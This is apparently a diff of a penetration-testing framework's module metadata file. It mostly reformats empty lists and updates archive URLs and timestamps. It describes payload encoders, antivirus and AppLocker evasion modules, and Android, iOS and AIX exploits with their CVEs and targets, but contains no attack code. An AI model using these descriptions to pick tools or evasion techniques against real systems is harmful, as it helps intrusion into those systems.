"type": "encoder", @@ -65894,9 +56704,7 @@ "Spencer McIntyre" ], "description": "Encodes a payload in such a way that the resulting binary blob is both\n valid x86 shellcode and a valid bitmap image file (.bmp). The selected\n bitmap file to inject into must use the BM (Windows 3.1x/95/NT) header\n and the 40-byte Windows 3.1x/NT BITMAPINFOHEADER. Additionally the file\n must use either 24 or 32 bits per pixel as the color depth and no\n compression. This encoder makes absolutely no effort to remove any\n invalid characters.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -65910,17 +56718,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/call4_dword_xor": { "name": "Call+4 Dword XOR Encoder", "fullname": "encoder/x86/call4_dword_xor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -65929,9 +56734,7 @@ "spoonm " ], "description": "Call+4 Dword XOR Encoder", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -65945,17 +56748,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/context_cpuid": { "name": "CPUID-based Context Keyed Payload Encoder", "fullname": "encoder/x86/context_cpuid", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -65963,9 +56763,7 @@ "Dimitris Glynos" ], "description": "This is a Context-Keyed Payload Encoder based on CPUID and Shikata Ga Nai.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -65979,17 +56777,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/context_stat": { "name": "stat(2)-based Context Keyed Payload Encoder", "fullname": "encoder/x86/context_stat", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -65997,9 +56792,7 @@ "Dimitris Glynos" ], "description": "This is a Context-Keyed Payload Encoder based on stat(2)\n and Shikata Ga Nai.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66013,17 +56806,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/context_time": { "name": "time(2)-based Context Keyed Payload Encoder", "fullname": "encoder/x86/context_time", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -66031,9 +56821,7 @@ "Dimitris Glynos" ], "description": "This is a Context-Keyed Payload Encoder based on time(2)\n and Shikata Ga Nai.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66047,17 +56835,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/countdown": { "name": "Single-byte XOR Countdown Encoder", "fullname": "encoder/x86/countdown", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -66065,9 +56850,7 @@ "vlad902 " ], "description": "This encoder uses the length of the payload as a position-dependent\n encoder key to produce a small decoder stub.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66081,17 +56864,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/fnstenv_mov": { "name": "Variable-length Fnstenv/mov Dword XOR Encoder", "fullname": "encoder/x86/fnstenv_mov", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -66099,9 +56879,7 @@ "spoonm " ], "description": "This encoder uses a variable-length mov equivalent instruction\n with fnstenv for getip.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66115,17 +56893,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/jmp_call_additive": { "name": "Jump/Call XOR Additive Feedback Encoder", "fullname": "encoder/x86/jmp_call_additive", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -66133,9 +56908,7 @@ "skape " ], "description": "Jump/Call XOR Additive Feedback", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66149,17 +56922,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/nonalpha": { "name": "Non-Alpha Encoder", "fullname": "encoder/x86/nonalpha", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": null, "type": "encoder", @@ -66167,9 +56937,7 @@ "pusscat " ], "description": "Encodes payloads as non-alpha based bytes. This allows\n payloads to bypass both toupper() and tolower() calls,\n but will fail isalpha(). Table based design from\n Russel Sanford.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66183,17 +56951,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/nonupper": { "name": "Non-Upper Encoder", "fullname": "encoder/x86/nonupper", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": null, "type": "encoder", @@ -66201,9 +56966,7 @@ "pusscat " ], "description": "Encodes payloads as non-alpha based bytes. This allows\n payloads to bypass tolower() calls, but will fail isalpha().\n Table based design from Russel Sanford.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66217,17 +56980,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/opt_sub": { "name": "Sub Encoder (optimised)", "fullname": "encoder/x86/opt_sub", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -66235,9 +56995,7 @@ "OJ Reeves " ], "description": "Encodes a payload using a series of SUB instructions and writing the\n encoded value to ESP. This concept is based on the known SUB encoding\n approach that is widely used to manually encode payloads with very\n restricted allowed character sets. It will not reset EAX to zero unless\n absolutely necessary, which helps reduce the payload by 10 bytes for\n every 4-byte chunk. ADD support hasn't been included as the SUB\n instruction is more likely to avoid bad characters anyway.\n\n The payload requires a base register to work off which gives the start\n location of the encoder payload in memory. If not specified, it defaults\n to ESP. If the given register doesn't point exactly to the start of the\n payload then an offset value is also required.\n\n Note: Due to the fact that many payloads use the FSTENV approach to\n get the current location in memory there is an option to protect the\n start of the payload by setting the 'OverwriteProtect' flag to true.\n This adds 3-bytes to the start of the payload to bump ESP by 32 bytes\n so that it's clear of the top of the payload.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66251,17 +57009,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/service": { "name": "Register Service", "fullname": "encoder/x86/service", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -66269,9 +57024,7 @@ "agix" ], "description": "Register service if used with psexec for example", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66285,17 +57038,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/shikata_ga_nai": { "name": "Polymorphic XOR Additive Feedback Encoder", "fullname": "encoder/x86/shikata_ga_nai", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": null, "type": "encoder", @@ -66303,9 +57053,7 @@ "spoonm " ], "description": "This encoder implements a polymorphic XOR additive feedback encoder.\n The decoder stub is generated based on dynamic instruction\n substitution and dynamic block ordering. Registers are also\n selected dynamically.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66319,17 +57067,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/single_static_bit": { "name": "Single Static Bit", "fullname": "encoder/x86/single_static_bit", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -66337,9 +57082,7 @@ "jduck " ], "description": "Static value for specific bit", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66353,17 +57096,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/unicode_mixed": { "name": "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "fullname": "encoder/x86/unicode_mixed", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -66372,9 +57112,7 @@ "skylined " ], "description": "Encodes payload as unicode-safe mixedcase text. This encoder uses\n SkyLined's Alpha2 encoding suite.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66388,17 +57126,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/unicode_upper": { "name": "Alpha2 Alphanumeric Unicode Uppercase Encoder", "fullname": "encoder/x86/unicode_upper", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "encoder", @@ -66407,9 +57142,7 @@ "skylined " ], "description": "Encodes payload as unicode-safe uppercase text. This encoder uses\n SkyLined's Alpha2 encoding suite.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66423,17 +57156,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/xor_dynamic": { "name": "Dynamic key XOR Encoder", "fullname": "encoder/x86/xor_dynamic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -66442,9 +57172,7 @@ "phra" ], "description": "An x86 XOR encoder with dynamic key size", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66458,17 +57186,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "encoder_x86/xor_poly": { "name": "XOR POLY Encoder", "fullname": "encoder/x86/xor_poly", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "encoder", @@ -66476,9 +57201,7 @@ "Arthur RAOUT" ], "description": "An x86 Simple POLY Xor encoding method. using polymorphism Register swapping, and instructions modification", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -66492,17 +57215,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "evasion_windows/applocker_evasion_install_util": { "name": "Applocker Evasion - .NET Framework Installation Utility", "fullname": "evasion/windows/applocker_evasion_install_util", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "evasion", @@ -66529,17 +57249,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "evasion_windows/applocker_evasion_msbuild": { "name": "Applocker Evasion - MSBuild", "fullname": "evasion/windows/applocker_evasion_msbuild", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "evasion", @@ -66566,17 +57283,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "evasion_windows/applocker_evasion_presentationhost": { "name": "Applocker Evasion - Windows Presentation Foundation Host", "fullname": "evasion/windows/applocker_evasion_presentationhost", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "evasion", @@ -66585,9 +57299,7 @@ "Casey Smith" ], "description": "This module will assist you in evading Microsoft\n Windows Applocker and Software Restriction Policies.\n This technique utilises the Microsoft signed binary\n PresentationHost.exe to execute user supplied code.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -66603,17 +57315,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "evasion_windows/applocker_evasion_regasm_regsvcs": { "name": "Applocker Evasion - Microsoft .NET Assembly Registration Utility", "fullname": "evasion/windows/applocker_evasion_regasm_regsvcs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "evasion", @@ -66640,17 +57349,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "evasion_windows/applocker_evasion_workflow_compiler": { "name": "Applocker Evasion - Microsoft Workflow Compiler", "fullname": "evasion/windows/applocker_evasion_workflow_compiler", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "evasion", @@ -66677,17 +57383,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "evasion_windows/process_herpaderping": { "name": "Process Herpaderping evasion technique", "fullname": "evasion/windows/process_herpaderping", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "evasion", @@ -66716,17 +57419,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "evasion_windows/syscall_inject": { "name": "Direct windows syscall evasion technique", "fullname": "evasion/windows/syscall_inject", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "evasion", @@ -66734,9 +57434,7 @@ "Yaz (kensh1ro)" ], "description": "This module allows you to generate a Windows EXE that evades Host-based security products\n such as EDR/AVs. It uses direct windows syscalls to achieve stealthiness, and avoid EDR hooking.\n\n please try to use payloads that use a more secure transfer channel such as HTTPS or RC4\n in order to avoid payload's network traffic getting caught by network defense mechanisms.\n NOTE: for better evasion ratio, use high SLEEP values", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -66752,17 +57450,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "evasion_windows/windows_defender_exe": { "name": "Microsoft Windows Defender Evasive Executable", "fullname": "evasion/windows/windows_defender_exe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "evasion", @@ -66770,9 +57465,7 @@ "sinn3r " ], "description": "This module allows you to generate a Windows EXE that evades against Microsoft\n Windows Defender. Multiple techniques such as shellcode encryption, source code\n obfuscation, Metasm, and anti-emulation are used to achieve this.\n\n For best results, please try to use payloads that use a more secure channel\n such as HTTPS or RC4 in order to avoid the payload network traffic getting\n caught by antivirus better.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -66788,17 +57481,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "evasion_windows/windows_defender_js_hta": { "name": "Microsoft Windows Defender Evasive JS.Net and HTA", "fullname": "evasion/windows/windows_defender_js_hta", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "evasion", @@ -66807,9 +57497,7 @@ "Shelby Pace" ], "description": "This module will generate an HTA file that writes and compiles a JScript.NET file\n containing shellcode on the target machine. After compilation, the generated EXE will\n execute the shellcode without interference from Windows Defender.\n\n It is recommended that you use a payload that uses RC4 or HTTPS for best experience.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x64", "rport": null, @@ -66825,17 +57513,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "exploit_aix/local/ibstat_path": { "name": "ibstat $PATH Privilege Escalation", "fullname": "exploit/aix/local/ibstat_path", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-24", "type": "exploit", @@ -66855,12 +57540,8 @@ "platform": "AIX,Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM AIX Version 6.1", "IBM AIX Version 7.1" @@ -66887,16 +57568,12 @@ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_aix/local/invscout_rpm_priv_esc": { "name": "invscout RPM Privilege Escalation", "fullname": "exploit/aix/local/invscout_rpm_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-04-24", "type": "exploit", @@ -66907,21 +57584,17 @@ "description": "This module exploits a command injection vulnerability in IBM AIX\n invscout set-uid root utility present in AIX 7.2 and earlier.\n\n The undocumented -rpm argument can be used to install an RPM file;\n and the undocumented -o argument passes arguments to the rpm utility\n without validation, leading to command injection with effective-uid\n root privileges.\n\n This module has been tested successfully on AIX 7.2.", "references": [ "CVE-2023-28528", - "URL-https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691" + "URL-http://web.archive.org/web/20250117163943/https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691" ], "platform": "AIX,Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2023-05-17 20:17:55 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/aix/local/invscout_rpm_priv_esc.rb", "is_install_path": true, "ref_name": "aix/local/invscout_rpm_priv_esc", @@ -66944,16 +57617,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_aix/local/xorg_x11_server": { "name": "Xorg X11 Server Local Privilege Escalation", "fullname": "exploit/aix/local/xorg_x11_server", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2018-10-25", "type": "exploit", @@ -66972,12 +57641,8 @@ "platform": "Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM AIX Version 6.1", "IBM AIX Version 7.1", @@ -66999,16 +57664,12 @@ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_aix/rpc_cmsd_opcode21": { "name": "AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow", "fullname": "exploit/aix/rpc_cmsd_opcode21", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-10-07", "type": "exploit", @@ -67027,12 +57688,8 @@ "platform": "AIX", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM AIX Version 5.1" ], @@ -67043,17 +57700,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_aix/rpc_ttdbserverd_realpath": { "name": "ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)", "fullname": "exploit/aix/rpc_ttdbserverd_realpath", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-06-17", "type": "exploit", @@ -67069,12 +57723,8 @@ "platform": "AIX", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM AIX Version 6.1.4", "IBM AIX Version 6.1.3", @@ -67096,17 +57746,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_android/adb/adb_server_exec": { "name": "Android ADB Debug Server Remote Payload Execution", "fullname": "exploit/android/adb/adb_server_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-01-01", "type": "exploit", @@ -67114,18 +57761,12 @@ "joev " ], "description": "Writes and spawns a native payload on an android device that is listening\n for adb debug messages.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armle, x86, x64, mipsle", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "armle", "x86", @@ -67139,17 +57780,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_android/browser/samsung_knox_smdm_url": { "name": "Samsung Galaxy KNOX Android Browser RCE", "fullname": "exploit/android/browser/samsung_knox_smdm_url", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-11-12", "type": "exploit", @@ -67166,12 +57804,8 @@ "platform": "Android", "arch": "dalvik", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -67182,17 +57816,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_android/browser/stagefright_mp4_tx3g_64bit": { "name": "Android Stagefright MP4 tx3g Integer Overflow", "fullname": "exploit/android/browser/stagefright_mp4_tx3g_64bit", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-08-13", "type": "exploit", @@ -67214,12 +57845,8 @@ "platform": "Linux", "arch": "armle", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)", @@ -67270,9 +57897,7 @@ "exploit_android/browser/webview_addjavascriptinterface": { "name": "Android Browser and WebView addJavascriptInterface Code Execution", "fullname": "exploit/android/browser/webview_addjavascriptinterface", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-12-21", "type": "exploit", @@ -67295,12 +57920,8 @@ "platform": "Android,Linux", "arch": "dalvik, x86, armle, mipsle", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -67311,17 +57932,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_android/fileformat/adobe_reader_pdf_js_interface": { "name": "Adobe Reader for Android addJavascriptInterface Exploit", "fullname": "exploit/android/fileformat/adobe_reader_pdf_js_interface", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2014-04-13", "type": "exploit", @@ -67338,12 +57956,8 @@ "platform": "Android", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Android ARM", "Android MIPSLE", @@ -67356,17 +57970,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_android/local/binder_uaf": { "name": "Android Binder Use-After-Free Exploit", "fullname": "exploit/android/local/binder_uaf", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-09-26", "type": "exploit", @@ -67387,12 +57998,8 @@ "platform": "Android,Linux", "arch": "aarch64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -67403,22 +58010,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_android/local/futex_requeue": { "name": "Android 'Towelroot' Futex Requeue Kernel Exploit", "fullname": "exploit/android/local/futex_requeue", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-05-03", "type": "exploit", @@ -67431,17 +58033,13 @@ "references": [ "CVE-2014-3153", "URL-http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/", - "URL-http://blog.nativeflow.com/the-futex-vulnerability" + "URL-http://web.archive.org/web/20160912014145/http://blog.nativeflow.com:80/the-futex-vulnerability" ], "platform": "Android,Linux", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Targeting", "Default", @@ -67449,7 +58047,7 @@ "Old Samsung", "Samsung Grand" ], - "mod_time": "2023-03-13 10:31:27 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/android/local/futex_requeue.rb", "is_install_path": true, "ref_name": "android/local/futex_requeue", @@ -67460,12 +58058,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "AKA": [ "towelroot" ] @@ -67474,16 +58068,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_android/local/janus": { "name": "Android Janus APK Signature bypass", "fullname": "exploit/android/local/janus", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2017-07-31", "type": "exploit", @@ -67502,12 +58092,8 @@ "platform": "Android", "arch": "dalvik", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -67523,9 +58109,7 @@ "artifacts-on-disk", "screen-effects" ], - "Reliability": [ - - ], + "Reliability": [], "Stability": [ "service-resource-loss" ] @@ -67534,16 +58118,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_android/local/put_user_vroot": { "name": "Android get_user/put_user Exploit", "fullname": "exploit/android/local/put_user_vroot", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-06", "type": "exploit", @@ -67562,12 +58142,8 @@ "platform": "Android,Linux", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -67578,22 +58154,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_android/local/su_exec": { "name": "Android 'su' Privilege Escalation", "fullname": "exploit/android/local/su_exec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2017-08-31", "type": "exploit", @@ -67601,18 +58172,12 @@ "timwr" ], "description": "This module uses the su binary present on rooted devices to run\n a payload as root.\n\n A rooted Android device will contain a su binary (often linked with\n an application) that allows the user to run commands as root.\n This module will use the su binary to execute a command stager\n as root. The command stager will write a payload binary to a\n temporary directory, make it executable, execute it in the background,\n and finally delete the executable.\n\n On most devices the su binary will pop-up a prompt on the device\n asking the user for permission.", - "references": [ - - ], + "references": [], "platform": "Android,Linux", "arch": "aarch64, armle, x86, x64, mipsle", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "aarch64", "armle", @@ -67627,23 +58192,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_apple_ios/browser/safari_jit": { "name": "Safari Webkit JIT Exploit for iOS 7.1.2", "fullname": "exploit/apple_ios/browser/safari_jit", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2016-08-25", "type": "exploit", @@ -67664,12 +58224,8 @@ "platform": "Apple_iOS", "arch": "armle", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -67684,9 +58240,7 @@ "Stability": [ "crash-service-down" ], - "SideEffects": [ - - ], + "SideEffects": [], "Reliability": [ "unreliable-session" ] @@ -67697,9 +58251,7 @@ "exploit_apple_ios/browser/safari_libtiff": { "name": "Apple iOS MobileSafari LibTIFF Buffer Overflow", "fullname": "exploit/apple_ios/browser/safari_libtiff", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-08-01", "type": "exploit", @@ -67716,12 +58268,8 @@ "platform": "OSX", "arch": "armle", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)" ], @@ -67732,17 +58280,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_apple_ios/browser/webkit_createthis": { "name": "Safari Webkit Proxy Object Type Confusion", "fullname": "exploit/apple_ios/browser/webkit_createthis", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-03-15", "type": "exploit", @@ -67764,12 +58309,8 @@ "platform": "Apple_iOS", "arch": "aarch64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -67780,17 +58321,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_apple_ios/browser/webkit_trident": { "name": "WebKit not_number defineProperties UAF", "fullname": "exploit/apple_ios/browser/webkit_trident", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2016-08-25", "type": "exploit", @@ -67821,12 +58359,8 @@ "platform": "Apple_iOS", "arch": "aarch64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -67837,17 +58371,14 @@ "check": false, 